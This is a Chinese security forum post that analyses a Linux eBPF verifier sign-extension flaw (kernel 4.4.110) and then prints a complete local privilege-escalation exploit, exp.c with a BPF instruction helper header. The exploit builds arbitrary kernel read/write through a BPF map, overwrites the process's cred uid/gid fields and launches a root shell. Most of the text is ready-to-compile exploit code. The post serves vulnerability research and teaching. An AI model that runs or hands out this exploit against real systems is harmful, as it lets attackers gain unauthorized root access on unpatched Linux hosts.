用户
搜索
  • TA的每日心情
    开心
    2019-10-15 11:43
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    5

    主题

    6

    帖子

    157

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2016-11-15

    i春秋签约作者

    发表于 2020-4-8 12:44:04 15318
    本帖最后由 PwnRabb1t 于 2020-4-8 12:56 编辑

    本文原创作者PwnRabb1t,本文属i春秋原创奖励计划,未经许可禁止转载

    pwn2own 2020 上有ctf团队找出了linux ebpf 的一个漏洞成功提权,看着在硬盘里躺了很久的ebpf漏洞的分析,莫名羞愧,于是赶紧分析一波,顺便看看能不能自己写一下pwn2own 那个洞的exp.

    漏洞分析

    这个漏洞网上已经有了很多的分析了,最早是 john找到的漏洞,这里我不做太多的描述,只记录一些比较重要的点。

    首先是 ebpf,上一张图

    1.png

    ebpf 首先需要ring3 传入一段指令(传到JIT),它会在BPF_PROG_RUN 里做包过滤,  内核会申请一块共享内存(MAP) ,内核的数据经过过滤之后放到MAP 里面,然后 ring3 就可以读写MAP来获取内核数据。

    这个漏洞简单来说就是符号扩展没有检查好,像前面说的,ebpf 分成 verifierBPF_PROG_RUN 两个部分,

    传入的指令其实就是原本x64上指令的一个映射,它会检查指令的CFG,是不是有非法内存访问之类的(如果可以的话就直接是内核代码注入了,可以任意执行代码),效率上的考虑,会忽略掉一些分支的检查,像下面这样,r9 的值固定是0xffffffff ,那么久不可能会跳转到[4] 的部分,所以就不去检查它了,节省时间。

             ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
             JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
             ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
             JMP_EXIT(),                        // [3]  exit
             LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
             BPF_INSN_NEG,                      // [5]
              //r6 = map[0]
             ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
             ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
             ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4 

    首先看上面第一条指令ALU_MOV_K(9,0xffffffff), 它等效于r9 = 0xffffffff, 对应的代码在kernel/bpf/verifier.c

                    if (class == BPF_ALU || class == BPF_ALU64) {
                            err = check_alu_op(env, insn);
                            if (err)
                                    return err;
    
                    } else if (class == BPF_LDX) {

    调用check_alu_op 函数, 最后调用regs[insn->dst_reg].imm = insn->imm;, 这里的立即数是用signed int 保存的

    //ptype struct reg_state
    type = struct reg_state {
        enum bpf_reg_type type;
        union {
            int imm;
            struct bpf_map *map_ptr;
        };
    }
    //
    /* check validity of 32-bit and 64-bit arithmetic operations */
    static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn)
    {
            struct reg_state *regs = env->cur_state.regs;
            u8 opcode = BPF_OP(insn->code);
            int err;
    //...
    
            } else if (opcode == BPF_MOV) {
    
    //..
                    if (BPF_SRC(insn->code) == BPF_X) {
                    //...
                    } else {// BPF_K  <===========================================
                            /* case: R = imm
                             * remember the value we stored into this reg
                             */
                            regs[insn->dst_reg].type = CONST_IMM;
                            regs[insn->dst_reg].imm = insn->imm;//32bit <- 32bit
                    }
    //...
    
            return 0;
    }

    然后第二条指令JMP_JNE_K(9,0xffffffff,2), , 其检查在 check_cond_jmp_op 函数里,这时候用的 imm 依然是signed int 类型,然后后续检查的时候发现前面r9JMP_JNE_Kimm 一样,于是就不去检查[4] 开始的指令了。

    /* ptype struct reg_state
    type = struct reg_state {
        enum bpf_reg_type type;
        union {
            int imm;
            struct bpf_map *map_ptr;
        };
    }
    
    */
    static int check_cond_jmp_op(struct verifier_env *env,
                                 struct bpf_insn *insn, int *insn_idx)
    {
            struct reg_state *regs = env->cur_state.regs;
            struct verifier_state *other_branch;
            u8 opcode = BPF_OP(insn->code);
            int err;
    
            //....
            } else if (BPF_SRC(insn->code) == BPF_K &&
                       (opcode == BPF_JEQ || opcode == BPF_JNE)) {
    
                    if (opcode == BPF_JEQ) {
                    //...
                    } else {
                            /* detect if (R != imm) goto
                             * and in the fall-through state recognize that R = imm
                             */
                            regs[insn->dst_reg].type = CONST_IMM;
                            regs[insn->dst_reg].imm = insn->imm;
                    }
            }
            if (log_level)
                    print_verifier_state(env);
            return 0;
    }
    

    然后到了运行的之后,对应__bpf_prog_run 函数

    ALU_MOV_K :  DST = (u32)IMM 这个时候 DST = 0xffffffff

    JMP_JNE_K : 比较 DSTIMM, 此时 IMMsigned int 类型, DSTuint64_t 类型, IMM 会做位扩展, 原来的 0xffffffff 也就是-1 变成0xffffffff ffffffff , 0xffffffff !=  0xffffffff ffffffff , 于是就会跳到前面指令的LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd 开始执行,verifrier 的时候并没有这一段指令做检查,这时候就可以在内核做任意代码执行了。

    #define DST regs[insn->dst_reg]        // uint64_t
    #define SRC regs[insn->src_reg]        // uint64_t
    #define FP  regs[BPF_REG_FP]           
    #define ARG1    regs[BPF_REG_ARG1]     
    #define CTX regs[BPF_REG_CTX]          
    #define IMM insn->imm      // signed int            
    //..
    static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
    {
            u64 stack[MAX_BPF_STACK / sizeof(u64)];
            u64 regs[MAX_BPF_REG], tmp;
    //.....
            ALU_MOV_K:
                    DST = (u32) IMM;
                    CONT;
    //...
            JMP_JNE_K:
                    if (DST != IMM) {
                            insn += insn->off;
                            CONT_JMP;
                    }
                    CONT;
    //...
    }

    我们可以写一段代码验证一下

    #include  <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdint.h>
    
    int main(int argc,char **argv){
        setbuf(stdout,0);
    
        int imm = 0xffffffff;
    
        uint64_t dst = (uint32_t)0xffffffff;
    
        if( dst != imm){
            printf("vuln\n");
        }
    
        return 0;
    }

    输出的结果是vuln

    好,接下来是如何利用(不知不觉也写了好多 = =)

    漏洞利用

    漏洞利用的话,前面分析我们知道我们已经可以在内核任意代码执行,那其实就是想干什么干什么了,手写ebpf的指令(其实就和我们手写汇编一样,).  基本利用思路如下

    • 泄露出 task_struct 的地址
    • 借助 task_struct 地址泄露出 cred 地址
    • 直接内存写 改 uid , gid,然后 /bin/sh getshell

    复现的环境我用的内核是4.4.110 版本, 附件中有我的 config 文件,主要是加上CONFIG_BPF=yCONFIG_BPF_SYSCALL=y, 漏洞利用的环境相关的文件可以从这里找到

    这里使用的 bpf指令如下,参照panda 师傅的分析

    
                    ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
             JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
             ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
             JMP_EXIT(),                        // [3]  exit 
    // 下面指令不会做检查
             LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
             BPF_INSN_NEG,                      // [5]  padding
              //r6 = map[0]
             ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
             ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
             ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4 
             ST_MEM_W(10,-4,0),                 // [9]  [r10 - 4] =0
    //fixup_bpf_calls
             JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem 
             JMP_JNE_K(0,0,1),                  // [11] if r0 != 0 : jmp [13]
             JMP_EXIT(),                        // [12] exit
             LDX_MEM_DW(6,0,0),                 // [13] r6 = [r0]
    
             // r7 =map[1]
             ALU64_MOV_X(1,9),                  // [14]  r1 =  r9
             ALU64_MOV_X(2,10),                 // [15]  r2 =  r10 (rbp)
             ALU64_ADD_K(2,-4),                 // [16]  r2 =  r2 -4 
             ST_MEM_W(10,-4,1),                 // [17]  [r10 - 4] =0
             JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem 
             JMP_JNE_K(0,0,1),                  // [19] if r0 != 0 : jmp [21]
             JMP_EXIT(),                        // [20] exit
             LDX_MEM_DW(7,0,0),                 // [21] r7 = [r0]
    
             // r8=map[2]
             ALU64_MOV_X(1,9),                  // [22]  r1 =  r9
             ALU64_MOV_X(2,10),                 // [23]  r2 =  r10 (rbp)
             ALU64_ADD_K(2,-4),                 // [24]  r2 =  r2 -4 
             ST_MEM_W(10,-4,2),                 // [25]  [r10 - 4] =0
             JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem 
             JMP_JNE_K(0,0,1),                  // [27] if r0 != 0 : jmp [29]
             JMP_EXIT(),                        // [28] exit
             LDX_MEM_DW(8,0,0),                 // [29] r8 = [r0]
    
             ALU64_MOV_X(2,0),                  // [30] r2 =  r0 
             ALU64_MOV_K(0,0),                  // [31] r0 =  0
    // map[0] == 0 任意地址读
             JMP_JNE_K(6,0,3),                  // [32] if r6 !=0: jmp [36]
             LDX_MEM_DW(3,7,0),                 // [33] r3 = [r7] (map[1])
             STX_MEM_DW(2,0,3),                 // [34] [r2] = r3
             JMP_EXIT(),                        // [35] exit
    // map[0] == 1  leak rbp addr
             JMP_JNE_K(6,1,2),                  // [36] if r6 !=1: jmp [39]
             STX_MEM_DW(2,0,10),                // [37] [r2] = r10 (rbp)
             JMP_EXIT(),                        // [38] exit
    // map[0] == 2 任意地址写
             STX_MEM_DW(7,0,8),                 // [39] [r7] = r8
             JMP_EXIT(),                        // [40] exit
    • 首先是 r6 = map[0] , r7 = map[1] , r8 = map[2]  (map 是前面提到的共享内存)
    • 然后是三个判断
      • map[0] ==0  时, 根据 map[1] 的值 来 读内存
      • map[0] == 1 时,获取 rbp 的值 ==> addr & ~(0x4000 - 1); 可以读取到 task_struct 的地址
      • map[0] == 2 时,*map[1] =  map[2]([r7] = r8)

    exp

    完整exp 如下 , exp.c

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdint.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/syscall.h>
    #include <sys/socket.h>
    #include <errno.h>
    #include "bpf_insn_helper.h"
    
    typedef uint32_t u32;
    typedef int32_t s32;
    typedef uint64_t u64;
    typedef int64_t s64;
    
    void logs(char *tag,char *buf){
        printf("[ s]: ");
        printf(" %s ",tag);
        printf(": %s\n",buf);
    }
    void logx(char *tag,uint32_t num){
        printf("[ x] ");
        printf(" %-20s ",tag);
        printf(": %-#8x\n",num);
    }
    void loglx(char *tag,uint64_t num){
        printf("[lx] ");
        printf(" %-20s ",tag);
        printf(": %-#16lx\n",num);
    }
    void bp(char *tag){
        printf("[bp] : %s\n",tag);
        getchar();
    }
    
    void init(){
        setbuf(stdin,0);
        setbuf(stdout,0);
    }
    
    int mapfd,progfd;
    int sockets[2];
    #define LOG_BUF_SIZE 65536
    #define PROGSIZE 328
    #define PHYS_OFFSET 0xffff880000000000
    #define CRED_OFFSET 0x5b0 //0x5f8
    #define UID_OFFSET 0x4
    
    char bpf_log_buf[LOG_BUF_SIZE];
    
    static int bpf_prog_load(enum bpf_prog_type prog_type,
                      const struct bpf_insn *insns, int prog_len,
                      const char *license, int kern_version) {
            union bpf_attr attr = {
                    .prog_type = prog_type,
                    .insns = (__u64)insns,
                    .insn_cnt = prog_len / sizeof(struct bpf_insn),
                    .license = (__u64)license,
                    .log_buf = (__u64)bpf_log_buf,
                    .log_size = LOG_BUF_SIZE,
                    .log_level = 1,
            };
    
            attr.kern_version = kern_version;
    
            bpf_log_buf[0] = 0;
    
            return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
    }
    
    static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
                       int max_entries) {
            union bpf_attr attr = {
                    .map_type = map_type,
                    .key_size = key_size,
                    .value_size = value_size,
                    .max_entries = max_entries
            };
    
            return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
    }
    
    static int bpf_update_elem(uint64_t key, uint64_t value) {
            union bpf_attr attr = {
                    .map_fd = mapfd,
                    .key = (__u64)&key,
                    .value = (__u64)&value,
                    .flags = 0,
            };
    
            return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
    }
    
    static int bpf_lookup_elem(void *key, void *value) {
            union bpf_attr attr = {
                    .map_fd = mapfd,
                    .key = (__u64)key,
                    .value = (__u64)value,
            };
    
            return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
    }
    static void __exit(char *err) {
            fprintf(stderr, "error: %s\n", err);
            exit(-1);
    }
    
    static void writemsg(void) {
            char buffer[64];
    
            ssize_t n = write(sockets[0], buffer, sizeof(buffer));
    
            if (n < 0) {
                    perror("write");
                    return;
            }
            if (n != sizeof(buffer))
                    fprintf(stderr, "short write: %lu\n", n);
    }
    
    #define __update_elem(a, b, c) \
            bpf_update_elem(0, (a)); \
            bpf_update_elem(1, (b)); \
            bpf_update_elem(2, (c)); \
            writemsg();
    
    static uint64_t get_value(int key) {
            uint64_t value;
    
            if (bpf_lookup_elem(&key, &value))
                    __exit(strerror(errno));
    
            return value;
    }
    
    static uint64_t __get_fp(void) {
            __update_elem(1, 0, 0);
    
            return get_value(2);
    }
    
    static uint64_t __read(uint64_t addr) {
            __update_elem(0, addr, 0);
    
            return get_value(2);
    }
    
    static void __write(uint64_t addr, uint64_t val) {
            __update_elem(2, addr, val);
    }
    
    static uint64_t get_sp(uint64_t addr) {
            return addr & ~(0x4000 - 1);
    }
    
    static void pwn(void) {
        printf("pwning\n");
            uint64_t fp, sp, task_struct, credptr, uidptr;
    
            fp = __get_fp();
        loglx("fpsome",fp);
            if (fp < PHYS_OFFSET)
                    __exit("bogus fp");
    
            sp = get_sp(fp);
            if (sp < PHYS_OFFSET)
                    __exit("bogus sp");
    
            task_struct = __read(sp);
    
            if (task_struct < PHYS_OFFSET)
                    __exit("bogus task ptr");
    
            printf("task_struct = %lx\n", task_struct);
    
            credptr = __read(task_struct + CRED_OFFSET); // cred
    
            if (credptr < PHYS_OFFSET)
                    __exit("bogus cred ptr");
    
        uidptr = credptr + UID_OFFSET; // uid
        /*uidptr = credptr + 4; // uid*/
            if (uidptr < PHYS_OFFSET)
                    __exit("bogus uid ptr");
    
            printf("uidptr = %lx\n", uidptr);
            __write(uidptr, 0); 
            __write(uidptr+0x8, 0);
        __write(uidptr+0x10, 0);
    
            if (geteuid() == 0) {
                    printf("spawning root shell\n");
            system("/bin/sh");
                    exit(0);
            }
            __exit("not vulnerable?");
    
    }
    int main(int argc,char **argv){
        init();
    
         struct bpf_insn insns[] = {
             ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
             JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
             ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
             JMP_EXIT(),                        // [3]  exit
             LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
             BPF_INSN_NEG,                      // [5]
              //r6 = map[0]
             ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
             ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
             ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4 
             ST_MEM_W(10,-4,0),                 // [9]  [r10 - 4] =0
             JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem 
             JMP_JNE_K(0,0,1),                  // [11] if r0 != 0 : jmp [13]
             JMP_EXIT(),                        // [12] exit
             LDX_MEM_DW(6,0,0),                 // [13] r6 = [r0]
    
             // r7 =map[1]
             ALU64_MOV_X(1,9),                  // [14]  r1 =  r9
             ALU64_MOV_X(2,10),                 // [15]  r2 =  r10 (rbp)
             ALU64_ADD_K(2,-4),                 // [16]  r2 =  r2 -4 
             ST_MEM_W(10,-4,1),                 // [17]  [r10 - 4] =0
             JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem 
             JMP_JNE_K(0,0,1),                  // [19] if r0 != 0 : jmp [21]
             JMP_EXIT(),                        // [20] exit
             LDX_MEM_DW(7,0,0),                 // [21] r7 = [r0]
    
             // r8=map[2]
             ALU64_MOV_X(1,9),                  // [22]  r1 =  r9
             ALU64_MOV_X(2,10),                 // [23]  r2 =  r10 (rbp)
             ALU64_ADD_K(2,-4),                 // [24]  r2 =  r2 -4 
             ST_MEM_W(10,-4,2),                 // [25]  [r10 - 4] =0
             JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem 
             JMP_JNE_K(0,0,1),                  // [27] if r0 != 0 : jmp [29]
             JMP_EXIT(),                        // [28] exit
             LDX_MEM_DW(8,0,0),                 // [29] r8 = [r0]
    
             ALU64_MOV_X(2,0),                  // [30] r2 =  r0
             ALU64_MOV_K(0,0),                  // [31] r0 =  0
             JMP_JNE_K(6,0,3),                  // [32] if r6 !=0: jmp [36]
             LDX_MEM_DW(3,7,0),                 // [33] r3 = [r7] (map[1])
             STX_MEM_DW(2,0,3),                 // [34] [r2] = r3
             JMP_EXIT(),                        // [35] exit
             JMP_JNE_K(6,1,2),                  // [36] if r6 !=1: jmp [39]
             STX_MEM_DW(2,0,10),                // [37] [r2] = r10
             JMP_EXIT(),                        // [38] exit
             STX_MEM_DW(7,0,8),                 // [39] [r7] = r8
             JMP_EXIT(),                        // [40] exit
    
         };
         /*for(int i=0;i<PROGSIZE/8;i++){*/
             /*loglx("code : ",*(u64 *)&insns[i]);*/
         /*}*/
    
         logx("insns",sizeof(insns));
            mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
            if (mapfd < 0)
                    __exit(strerror(errno));
            puts("mapfd finished");
            progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
                            insns, sizeof(insns), "GPL", 0);
    
            if (progfd < 0){
                    __exit(strerror(errno));
        }
        puts("progfd finish");
            if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
                    __exit(strerror(errno));
        }
            puts("socketpair finished");
            if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
                    __exit(strerror(errno));
        }
    
        pwn();
        return 0;
    }

    bpf_insn_helper.h

    #ifndef _BPF_INSN_HELPER_H__
    #define _BPF_INSN_HELPER_H__
    #include <linux/bpf.h>
    
    #define ALU_NEG BPF_ALU | BPF_NEG 
    #define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE  
    #define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE  
    #define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X 
    #define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K 
    #define F_ALU64_NEG   BPF_ALU64 | BPF_NEG          
    
    #define BPF_INSN_NEG \
        ((struct bpf_insn) { \
         .code = 0, \
         .dst_reg = 0, \
         .src_reg = 0, \
         .off = 0, \
         .imm = 0 \
        })
    
    #define ALU_OP_K(OP,DST,IMM) \
        ((struct bpf_insn) { \
         .code = BPF_ALU | BPF_OP(OP) | BPF_K, \
         .dst_reg = DST, \
         .src_reg = 0, \
         .off = 0, \
         .imm = IMM \
        })
    
    #define ALU_OP_X(OP,DST,SRC) \
        ((struct bpf_insn) { \
         .code = BPF_ALU | BPF_OP(OP) | BPF_X, \
         .dst_reg = DST, \
         .src_reg = SRC, \
         .off = 0, \
         .imm = 0 \
        })
    
    #define ALU64_OP_K(OP,DST,IMM) \
        ((struct bpf_insn) { \
         .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
         .dst_reg = DST, \
         .src_reg = 0, \
         .off = 0, \
         .imm = IMM \
        }) 
    
    #define ALU64_OP_X(OP,DST,SRC) \
        ((struct bpf_insn) { \
         .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
         .dst_reg = DST, \
         .src_reg = SRC, \
         .off = 0, \
         .imm = 0 \
        }) 
    
    #define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)
    #define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)
    #define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)
    #define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)
    #define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)
    #define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)
    #define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)
    #define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)
    #define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)
    #define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)
    #define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)
    
    #define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)
    #define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)
    #define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)
    #define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)
    #define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)
    #define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)
    #define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)
    #define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)
    #define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)
    #define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)
    #define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)
    
    #define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)
    #define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)
    #define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)
    #define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)
    #define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)
    #define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)
    #define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)
    #define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)
    #define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)
    #define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)
    #define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)
    
    #define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)
    #define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)
    #define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)
    #define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)
    #define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)
    #define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)
    #define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)
    #define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)
    #define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)
    #define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)
    #define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)
    
    #define JMP_OP_K(OP,DST,IMM,OFF) \
        ((struct bpf_insn) { \
         .code = BPF_JMP | BPF_OP(OP) | BPF_K, \
         .dst_reg = DST, \
         .src_reg = 0, \
         .off = OFF, \
         .imm = IMM \
        })
    
    #define JMP_OP_X(OP,DST,SRC,OFF) \
        ((struct bpf_insn) { \
         .code = BPF_JMP | BPF_OP(OP) | BPF_X, \
         .dst_reg = DST, \
         .src_reg = SRC, \
         .off = OFF, \
         .imm = 0 \
        })
    #define F_JMP_JA     BPF_JMP | BPF_JA            
    #define F_JMP_CALL       BPF_JMP | BPF_CALL         
    #define F_JMP_TAIL_CALL  BPF_JMP | BPF_CALL | BPF_X 
    
    #define JMP_EXIT() \
        ((struct bpf_insn) { \
         .code = BPF_JMP | BPF_EXIT, \
         .dst_reg = 0, \
         .src_reg = 0, \
         .off = 0, \
         .imm = 0 \
        })
    #define JMP_CALL(FUNC) \
        ((struct bpf_insn) { \
         .code = BPF_JMP | BPF_CALL, \
         .dst_reg = 0, \
         .src_reg = 0, \
         .off = 0, \
         .imm = FUNC \
        })
    
    #define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)
    #define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)
    #define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)
    #define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)
    #define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)
    #define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)
    #define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)
    
    #define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)
    #define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)
    #define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)
    #define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)
    #define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)
    #define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)
    #define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)
    #define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)
    
    // [ det_reg + off ] =  src
    #define STX_MEM_OP(SIZE,DST,OFF,SRC) \
        ((struct bpf_insn) { \
         .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \
         .dst_reg = DST, \
         .src_reg = SRC, \
         .off = OFF, \
         .imm = 0 \
        })
    
    // [ dst_reg + off ] = IMM
    #define ST_MEM_OP(SIZE,DST,OFF,IMM) \
        ((struct bpf_insn) { \
         .code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \
         .dst_reg = DST, \
         .src_reg = 0, \
         .off = OFF, \
         .imm = IMM \
        })
    
    #define STX_XADD_W BPF_STX | BPF_XADD | BPF_W  
    #define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW 
    #define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)
    #define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)
    #define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)
    #define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)
    
    #define STX_MEM_B(DST,OFF,SRC)    STX_MEM_OP(BPF_B,DST,OFF,SRC)
    #define STX_MEM_H(DST,OFF,SRC)    STX_MEM_OP(BPF_H,DST,OFF,SRC)
    #define STX_MEM_W(DST,OFF,SRC)    STX_MEM_OP(BPF_W,DST,OFF,SRC)
    #define STX_MEM_DW(DST,OFF,SRC)  STX_MEM_OP(BPF_DW,DST,OFF,SRC)
    
    #define LD_ABS_W  BPF_LD | BPF_ABS | BPF_W   
    #define LD_ABS_H  BPF_LD | BPF_ABS | BPF_H   
    #define LD_ABS_B  BPF_LD | BPF_ABS | BPF_B   
    #define LD_IND_W  BPF_LD | BPF_IND | BPF_W   
    #define LD_IND_H  BPF_LD | BPF_IND | BPF_H   
    #define LD_IND_B  BPF_LD | BPF_IND | BPF_B   
    
    // dst_reg =  [src_reg + off ]
    #define LDX_MEM_OP(SIZE,DST,SRC,OFF) \
        ((struct bpf_insn) { \
         .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \
         .dst_reg = DST, \
         .src_reg = SRC, \
         .off = OFF, \
         .imm = 0 \
        })
    
    // [ src_reg + off ] = IMM
    #define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \
        ((struct bpf_insn) { \
         .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \
         .dst_reg = DST, \
         .src_reg = SRC, \
         .off = 0, \
         .imm = IMM \
        })
    
    #define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)
    
    #define LDX_MEM_B(DST,SRC,OFF)   LDX_MEM_OP(BPF_B,DST,SRC,OFF)
    #define LDX_MEM_H(DST,SRC,OFF)   LDX_MEM_OP(BPF_H,DST,SRC,OFF)
    #define LDX_MEM_W(DST,SRC,OFF)   LDX_MEM_OP(BPF_W,DST,SRC,OFF)
